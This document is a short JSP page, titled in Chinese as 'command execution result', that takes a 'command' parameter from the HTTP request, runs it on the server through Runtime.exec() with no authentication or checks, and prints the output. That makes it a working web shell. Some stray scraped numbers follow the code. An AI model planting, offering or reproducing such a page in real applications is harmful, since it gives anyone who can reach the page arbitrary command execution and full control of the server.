<%@ page import="java.io.*, java.util.*" %>
<!DOCTYPE html>
<html>
<head>
<title>命令执行结果</title>
</head>
<body>
<h2>命令执行结果:</h2>
<%
String command = request.getParameter("command");
if (command != null && !command.isEmpty()) {
try {
// 执行命令
Process process = Runtime.getRuntime().exec(command);
// 获取命令的输出
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br/>");
}
// 处理完成,关闭流
reader.close();
} catch (IOException e) {
e.printStackTrace();
out.println("执行命令时发生错误: " + e.getMessage());
}
} else {
out.println("没有提供命令");
}
%>
</body>
</html>
09-09
1074
05-31
590